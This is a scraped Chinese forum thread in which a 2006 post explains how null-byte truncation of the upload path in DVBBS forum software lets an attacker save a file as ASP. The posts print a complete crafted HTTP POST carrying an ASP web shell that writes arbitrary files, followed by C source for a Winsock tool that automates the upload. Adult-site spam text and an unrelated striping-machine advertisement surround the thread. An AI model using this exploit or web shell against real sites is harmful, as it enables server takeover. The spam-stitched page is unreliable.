欧美激情精品在线_久久人人爽人人爽爽久久_亚洲最大激情中文字幕_久久国产精品 国产精品

以文本方式查看主題

-  通信圈  (http://m.ydtdhmb.com/bbs/index.asp)
--  數據編程 · 大數據建設  (http://m.ydtdhmb.com/bbs/list.asp?boardid=74)
----  動網論壇上傳文件漏洞的原理以及攻擊的代碼實現  (http://m.ydtdhmb.com/bbs/dispbbs.asp?boardid=74&id=2301)

--  作者:新月彎刀
--  發布時間:2006/10/18 12:00:33
--  動網論壇上傳文件漏洞的原理以及攻擊的代碼實現
最近一段時間比較忙,沒什么時間為組織做貢獻(實在是沒實力,呵呵).剛好前一段時間聽小豬(豬蛋兒的《目前流行的BBS安全性比較》一文請參閱:http://wvw.ttian.net/forum/viewtopic.php?id=269)說動網論壇出了一個上傳任意文件的漏洞,當時沒怎么明白.但是我看到最近NB論壇上全部都在討論有關這方面的問題,就研究了一下,發現這個漏洞確實存在,而且非常嚴重,用小豬的話說是DVBBS7.0 SP2以下通殺.雖然有些人已經知道了攻擊方法,但是還是存在一些問題.下面我就動網的這個漏洞做一下講解.(不知道會不會被人罵,因為這個漏洞實在太大了). 我們先看一下動網論壇上傳文件的相關代碼: \'===========無組件上傳(upload_0)==================== sub upload_0() set upload=new UpFile_Class \'\'建立上傳對象 upload.GetDate (int(Forum_Setting(56))*1024) \'取得上傳數據,不限大小 iCount=0 if upload.err > 0 then select case upload.err case 1 Response.Write "請先選擇你要上傳的文件 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" case 2 Response.Write "圖片大小超過了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" end select exit sub else formPath=upload.form("filepath") \'\'在目錄后加(/) if right(formPath,1)<>"/" then formPath=formPath&"/" for each formName in upload.file \'\'列出所有上傳了的文件 set file=upload.file(formName) \'\'生成一個文件對象 if file.filesize<100 then response.write "請先選擇你要上傳的圖片 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" response.end end if fileExt=lcase(file.FileExt) if CheckFileExt(fileEXT)=false then response.write "文件格式不正確 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" response.end end if randomize ranNum=int(90000*rnd)+10000 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt if file.FileSize>0 then \'\'如果 FileSize > 0 說明有文件數據 file.SaveToFile Server.mappath(filename) \'\'保存文件 \' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>" response.write "<script>parent.document.forms[0].myface.value=\'"&FileName&"\'</script>" iCount=iCount+1 end if set file=nothing next set upload=nothing session("upface")="done" Htmend iCount&" 個文件上傳結束!" end if end sub 在上面代碼中可以看到這樣一句: filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 這里,filename是保存的文件名,它是依照上傳時間來命名的,最后擴展名是表單中提交過來的文件的擴展名.但是程序中對提交文件的類型做了限制,顯然想直接上傳ASP文件是不可行的.但是我們來看一下做為后輟的依據從哪里來的呢?我們可以在reg_upload.asp中找到這樣的代碼: <form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" > <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上傳" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true, parent.document.forms[0].Submit2.disabled=true;"> </form> 這樣,我們知道了,程序是提取file1表單和fname表單中的值來做判斷的.也就是說直接從頁面遞交我們的ASP文件也是行不通了,但是,如果是我們自己構造數據包的話就不一樣了.欲望之翼提出的方法就是自已構造數據包來達到欺騙的目的.將提交的file1表單和fname表單項的值改成合法的文件名稱.這樣就可以繞過文件類型的檢測了. 當然,主要的問題不在這里,如果我們只是要上傳那些代碼的話,我們完全可以直接改文件名就好了.我們的目的是要讓我們上傳的文件名改成ASP,這樣我們才可以利用.關鍵就在這一句了: formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 這句話將一段字符串合并起來.我們能改的就是formPath這個參數.在計算機中檢測字符串的關鍵就是看是否碰到\'\\0\'字符,如果是,則認為字符串結束了.也就是說我們在構造上傳文件保存路徑時,只要欺騙計算機,讓他認為類似"uploadface\\zwell.asp"這樣的路徑參數已經結束了,這樣,后面一連串的時間字符我們都可以不要,從而達到直接將文件保存為我們定義的文件名的目的.因些,我們要做的是在構造的數據包中,將表單中的filepath改成類似uploadface\\zwell.asp\'\\0\'的字符串然后發送出去就行了. 我們先來看一下數據包的格式(論壇上好像大家用的是WSockExpert,不過我用的是IRIS,我覺得更專業一點,^_^): POST /forum/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Host: uyee.com Content-Length: 1593 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF -----------------------------7d4a325500d2 Content-Disposition: form-data; name="filepath" uploadFace\\zwell.asp -----------------------------7d4a325500d2 Content-Disposition: form-data; name="act" upload -----------------------------7d4a325500d2 Content-Disposition: form-data; name="file1"; filename="C:\\1.gif" Content-Type: text/plain <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> <%if Trim(request("syfdpath"))<>"" then%> <%fdata = request("cyfddata")%> <%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <%response.write "<font color=red>save Success!</font>"%> <%else%> <%response.write "<font color=red>Save UnSuccess!</font>"%> <%end if%> <%err.clear%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <%Response.write "<form action=\'\'\'\' method=post>"%> <%Response.Write "<input type=text name=syfdpath width=32 size=50>"%> <%Response.Write "<br>"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> <%Response.write "<br>"%> <%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%> <%Response.write "<input type=submit value=save>"%> <%Response.write "</form>"%> -----------------------------7d4a325500d2 Content-Disposition: form-data; name="fname" C:\\1.gif -----------------------------7d4a325500d2 Content-Disposition: form-data; name="Submit" 上傳 -----------------------------7d4a325500d2-- 上面的數據我是在WIN2003下調試的.按我前面講的,只要改幾個地方就好了 1.Content-Disposition: form-data; name="file1"; filename="C:\\1.gif" 2.Content-Disposition: form-data; name="fname" C:\\1.gif 3.最重要的地方:uploadFace\\zwell.asp,怎么加一個空字符呢?用UltraEdit是個好方法,用16進制編輯,(因為\'\\0\'這個字符也占一個位置,所以我們先打入一空格,然后再在UltraEdit里將對就空格符的20改成00). 至于,最前面的那一段,直接從抓包工具中提取就是了.而且隨便一個都行.但是最重要的是要注意這一句: Content-Length: 1593 很多人測試都沒成功,就因為這個值設的不對,其實這個值很好算,是從第一個"-----------------------------7d4a325500d2"開始算起,到"-----------------------------7d4a325500d2--\\r\\n\\r\\n"截止,大家看到的"\\r\\n"是起換行作用,占兩個字符.我看論壇上大家論壇時都是說加一個字符值就加一,不是說不對,只是還要這樣數,代碼短倒無所謂,代碼要是很長怎么辦呢?:),這里告訴大家一個簡單的方法:打開記事本,將算長度的代碼復制到記事本,保存,然后看屬性就一目了然了,一個字符都不會錯.只是有一點必須注意,必須將最后的那幾個換行也復制進來.很多人就是因為沒有復制換行才失敗的.
--  作者:新月彎刀
--  發布時間:2006/10/18 12:00:52
--  
寫了這么多,我們也看到,每一個這樣改太不方便,做了工具是必須的了,呵呵,具體不多說了,部分代碼如下: #include <winsock2.h> #include <stdio.h> #include "Resource.h" #pragma comment(lib,"ws2_32.lib") HINSTANCE g_hInst; HWND g_hWnd; HWND m_up; HWND m_host; HWND m_webpath; HWND m_path; HWND m_filename; HWND m_upload; DWORD m_theadid; BYTE sendbuf[10000]; char host[80]; //主機地址 char bbspath[50]; //論壇地址 char uppath[20]; //上傳目錄 char upfilename[50]; //上傳文件名 char upfiledata[8000]; //上傳文件內容 int sendsize; //總傳送數據大小 int realsndsize = 0; //傳送頁面文件的大小 char snddata[8000]; char mm[1000]= "<%dim objFSO%>\\r\\n" "<%dim fdata%>\\r\\n" "<%dim objCountFile%>\\r\\n" "<%on error resume next%>\\r\\n" "<%Set objFSO = Server.CreateObject(\\"Scripting.FileSystemObject\\")%>\\r\\n" "<%if Trim(request(\\"syfdpath\\"))<>\\"\\" then%>\\r\\n" "<%fdata = request(\\"cyfddata\\")%>\\r\\n" "<%Set objCountFile=objFSO.CreateTextFile(request(\\"syfdpath\\"),True)%>\\r\\n" "<%objCountFile.Write fdata%>\\r\\n" "<%if err =0 then%>\\r\\n" "<%response.write \\"<font color=red>save Success!</font>\\"%>\\r\\n" "<%else%>" "<%response.write \\"<font color=red>Save UnSuccess!</font>\\"%>\\r\\n" "<%end if%>\\r\\n" "<%err.clear%>\\r\\n" "<%end if%>" "<%objCountFile.Close%>\\r\\n" "<%Set objCountFile=Nothing%>\\r\\n" "<%Set objFSO = Nothing%>" "<%Response.write \\"<form action=\\\'\\\' method=post>\\"%>\\r\\n" "<%Response.Write \\"<input type=text name=syfdpath width=32 size=50>\\"%>\\r\\n" "<%Response.Write \\"<br>\\"%>\\r\\n" "<%=server.mappath(Request.ServerVariables(\\"SCRIPT_NAME\\"))%>\\r\\n" "<%Response.write \\"<br>\\"%>\\r\\n" "<%Response.write \\"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\\"%>\\r\\n" "<%Response.write \\"<input type=submit value=save>\\"%>\\r\\n" "<%Response.write \\"</form>\\"%>\\r\\n"; //獲得控件文本 char *gettext(HWND chwnd) { char tmpbuf[10000]; SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf); return tmpbuf; } //設置控件文本 void settext(HWND chwnd,char *text) { SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text); } char *itos(int data) { char tmp[10]; sprintf(tmp, "%d", data); return tmp; } //上傳線程 DWORD WINAPI uploadthread(LPVOID param) { SOCKET s; sockaddr_in sin; struct hostent * hp; unsigned int addr; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ZeroMemory((void *)&sin, sizeof(sin)); hp = gethostbyname(gettext(m_host)); if (!hp) addr = inet_addr(gettext(m_host)); if ((!hp) && (addr == INADDR_NONE) ) { MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK); return 0; } if (hp != NULL) memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length); else sin.sin_addr.s_addr = addr; sin.sin_port = htons(80); sin.sin_family = AF_INET; strcpy(host, gettext(m_host)); strcpy(bbspath, gettext(m_webpath)); strcpy(upfiledata, gettext(m_upload)); strcpy(uppath, gettext(m_path)); strcpy(upfilename, gettext(m_filename)); realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1; sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\\r\\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\\r\\n" "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\\r\\n" "Accept-Language: zh-cn\\r\\n" "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\\r\\n" "Accept-Encoding: gzip, deflate\\r\\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\\r\\n" "Host: %s\\r\\n" "Content-Length: %d\\r\\n" "Connection: Keep-Alive\\r\\n" "Cache-Control: no-cache\\r\\n" "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\\r\\n\\r\\n" "-----------------------------7d4a325500d2\\r\\n" "Content-Disposition: form-data; name=\\"filepath\\"\\r\\n\\r\\n" "%s\\\\%s", bbspath, host, realsndsize, uppath, upfilename); sendsize = strlen((char *)sendbuf); sendbuf[sendsize] = \'\\0\'; sprintf(snddata, "\\r\\n" "-----------------------------7d4a325500d2\\r\\n" "Content-Disposition: form-data; name=\\"act\\"\\r\\n\\r\\n" "upload\\r\\n" "-----------------------------7d4a325500d2\\r\\n" "Content-Disposition: form-data; name=\\"file1\\"; filename=\\"C:\\\\1.gif\\"\\r\\n" "Content-Type: text/plain\\r\\n\\r\\n" "%s\\r\\n" "-----------------------------7d4a325500d2\\r\\n" "Content-Disposition: form-data; name=\\"fname\\"\\r\\n\\r\\n" "C:\\\\1.gif\\r\\n" "-----------------------------7d4a325500d2\\r\\n" "Content-Disposition: form-data; name=\\"Submit\\"\\r\\n\\r\\n" "上傳\\r\\n" "-----------------------------7d4a325500d2--\\r\\n\\r\\n", upfiledata); strcat((char *)&sendbuf[sendsize+1], snddata); sendsize += strlen(snddata); sendsize += 1; if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin))) { MessageBox(g_hWnd, "連接出錯!", "出錯提示:", MB_OK|MB_IConERROR); return 0; } int sendsz = send(s, (char *)sendbuf, sendsize, 0); if(sendsz <= 0) MessageBox(g_hWnd, "發送數據失敗", itos(WSAGetLastError()), MB_OK); char recvbuf[10000]; recv(s, (char*)recvbuf, 10000, 0); settext(m_upload, recvbuf); closesocket(s); return 0; } void WINAPI On_Command(WPARAM wParam) { switch (LOWORD(wParam)) { case ID_UP: CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid); break; case IDCANCEL: SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL)); break; } } static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_INITDIALOG: g_hWnd = hWndDlg; m_up = GetDlgItem(g_hWnd, ID_UP); m_host = GetDlgItem(g_hWnd, IDC_EDIT1); m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2); m_path = GetDlgItem(g_hWnd, IDC_EDIT3); m_upload = GetDlgItem(g_hWnd, IDC_EDIT4); m_filename = GetDlgItem(g_hWnd, IDC_EDIT5); settext(m_host, "192.168.10.101"); settext(m_webpath, "/"); settext(m_path, "uploadface"); settext(m_filename, "zwell.asp"); settext(m_upload, mm); return TRUE; case WM_COMMAND: On_Command(wParam); break; case WM_SIZE: break; case WM_CLOSE: EndDialog(g_hWnd,0); break; } return FALSE; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WSADATA wsaData; g_hInst=hInstance; if(WSAStartup(MAKEWORD(1, 1), &wsaData)) { MessageBox(NULL,"無法初始化 Winsock DLL\\t","錯誤",MB_OK|MB_ICONSTOP); return 0; } DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc); WSACleanup(); return 1; }
--  作者:山雨夜來漲
--  發布時間:2010/12/27 17:53:12
--  are generally used by companies
Striping machines are used to paint lines on a variety of surfaces. They are commonly used on pavement to mark parking lots, roads and airports as well as on grass or dirt for sports fields. Striping machines basically consist of a small engine, an air compressor, the spray nozzle and a series of valves and hoses including one for paint intake. There is frequently a hose ranging from 25 to 50 feet on average that is attached to a separate spray gun similar to the kind found in spray painting equipment that is used for stencils or touch ups. Wheels, a handle and a trigger allow the operator to control the direction of the machine and the force of the paint spray. Most striping machines are pushed by the operator because that increases the amount of control and precision the operator has; self-propelled striping machines or ride-on striping machines are available for large areas. The frame is made from metal and is typically heavy duty stainless steel to resist harsh solvents and corrosion. Some models of striping machines have dashboards that light up for nighttime use. Centralized controls, filters, hose wraps and other accessories help facilitate high productivity for a fast and clean job. Striping machines are generally used by companies that specialize in laying asphalt, sealing cracks and other pavement issues rather than businesses that have paint machines or systems.
欧美激情精品在线_久久人人爽人人爽爽久久_亚洲最大激情中文字幕_久久国产精品 国产精品
91麻豆桃色免费看| 国产一区二区精品免费| 久色乳综合思思在线视频| 久久色在线播放| 久久久久久久久久久免费| 久久久久se| 成人av影视在线| 成人国产精品日本在线| 91免费视频网站在线观看| 91精品视频大全| 国产肥臀一区二区福利视频| 九九九九久久久久| 久久久精品一区二区三区| 国产精品久久97| 久久亚洲精品成人| 国产精品对白刺激| 在线视频不卡一区二区三区| 亚洲精品高清视频| 日韩欧美一区二| 欧洲成人在线视频| 美媛馆国产精品一区二区| 免费黄色福利视频| 成人久久一区二区三区| 91精品视频在线| 久久国产精品精品国产色婷婷| 日韩视频永久免费观看| 久久资源免费视频| 亚洲乱码日产精品bd在线观看| 天堂√在线观看一区二区| 热99这里只有精品| 国产又黄又猛视频| 国产精品99久久久久久久久久久久| 国产黄色激情视频| 国产精品久久久久久一区二区| 久久99精品久久久久久噜噜| 亚洲影影院av| 日本一区二区高清视频| 好吊色欧美一区二区三区四区| 国产欧美日韩中文字幕在线| 91精品国产色综合| 精品国产网站地址| 亚洲一二三区精品| 欧美又大又粗又长| 国产精品一区二区三区在线| 国产va免费精品高清在线观看| 国产精品美女久久久久av福利| 亚洲欧美日韩不卡一区二区三区| 欧美一区观看| 国产精彩精品视频| 国产精品啪视频| 亚洲精品电影在线一区| 欧美日韩免费观看一区| 成人精品一区二区三区电影黑人 | 免费拍拍拍网站| 北条麻妃av高潮尖叫在线观看| 久久久久久国产免费| 欧美激情精品久久久久久| 日本a级片在线播放| 国产欧美精品在线| 日韩中文综合网| 一区二区三区av在线| 狠狠色综合色区| 久久精品国产一区二区三区日韩| 国产精品对白一区二区三区| 欧美一区二区.| 国产精品一区二区久久久久| 国产精品视频久久久| 日韩亚洲一区在线播放| 91精品国产自产在线老师啪| 欧美日本精品在线| 黄色小网站91| 国产成人91久久精品| 亚洲欧洲日产国码无码久久99| 国产在线一区二区三区欧美| 日韩中文字幕免费看| 日韩av免费看网站| 91精品啪在线观看麻豆免费| 欧美激情精品久久久久| 激情视频综合网| 久久精品网站视频| 欧美一乱一性一交一视频| 97久久超碰福利国产精品…| 中文字幕日韩精品无码内射| 国产视频一视频二| 国产精品久久久久久久av大片| 青青草原av在线播放| 国产成人精品免高潮在线观看| 午夜久久久久久久久久久| 91精品在线观| 亚洲人成人77777线观看| www.男人天堂网| 亚洲午夜精品一区二区三区| 国产精品一区二区三区久久久| 萌白酱国产一区二区| 精品网站在线看| 精品久久久久久亚洲| 国产日产久久高清欧美一区| 精品国产一区二区三| 国产日韩精品在线播放| 欧美久久精品一级黑人c片| 国产一区深夜福利| 精品中文字幕视频| 国产免费毛卡片| 在线视频一区观看| 99久re热视频这里只有精品6| 在线视频亚洲自拍| 91精品久久久久久久久久入口| 亚洲精品欧洲精品| 久久视频在线观看中文字幕| 成人做爰www免费看视频网站| 久久免费成人精品视频| 日韩区国产区| 国产精品美女网站| 国产精品有限公司| 亚洲一区二区中文| 国产福利久久| 欧美大陆一区二区| 欧美日本中文字幕| 久久综合一区| 欧美亚洲在线视频| 久久综合电影一区| 91精品国产综合久久香蕉最新版| 日本一区二区三区视频免费看| 日韩专区中文字幕| 激情网站五月天| 伊人色综合久久天天五月婷| 国产福利视频一区二区| 韩国一区二区av| 伊人久久av导航| 国产成人av一区二区三区| 国自在线精品视频| 亚洲熟妇无码一区二区三区| 久久久久一区二区| 国产日韩在线播放| 日韩**中文字幕毛片| 国产精品精品视频| 久久免费视频这里只有精品| 黄色一级二级三级| 色播亚洲婷婷| 国产精品老女人精品视频| 91传媒免费视频| 免费一区二区三区| 午夜精品久久久久久久久久久久久| 久久久精品欧美| 国产精品亚洲一区二区三区| 视频一区二区三区在线观看| 国产精品第8页| 国产www精品| 成年人网站国产| 欧美久久在线观看| 亚洲制服欧美久久| 国产精品色婷婷视频| 91精品国产综合久久香蕉最新版| 妓院一钑片免看黄大片| 亚洲欧美精品在线观看| 国产精品高清网站| 国产成人在线免费看| 国产欧美123| 欧美人成在线观看| 日本精品一区| 亚洲一区二区三区乱码| 国产精品盗摄久久久| 日韩专区中文字幕| 国产suv精品一区二区| 国产精品亚发布| 欧美日韩一级在线| 日韩欧美国产综合在线| 亚洲欧美丝袜| 在线视频福利一区| 久久成人精品视频| 国产精品免费视频一区二区| 国产激情美女久久久久久吹潮| 豆国产97在线| 国产欧美一区二区三区另类精品 | 精品一区二区视频| 欧美亚洲精品日韩| 日本免费高清一区二区| 一区二区三区av| 欧美激情精品久久久久久久变态| 国产精品夫妻激情| 久久精品国产亚洲一区二区| 国产成人精品日本亚洲11| 操人视频欧美| 成人福利网站在线观看11| 欧美成ee人免费视频| 日韩精品一区二区免费| 日本免费一级视频| 亚洲v欧美v另类v综合v日韩v| 亚洲熟妇av日韩熟妇在线| 久久6精品影院| 国产精品第3页| 国产精品久久久久久久久久三级 | 99在线观看视频| 99久久精品免费看国产一区二区三区| 国产欧美日韩专区发布| 国产美女精品视频免费观看| 国产精品综合不卡av| 国产精品亚洲不卡a| 国产精品一区二区女厕厕| 不卡日韩av|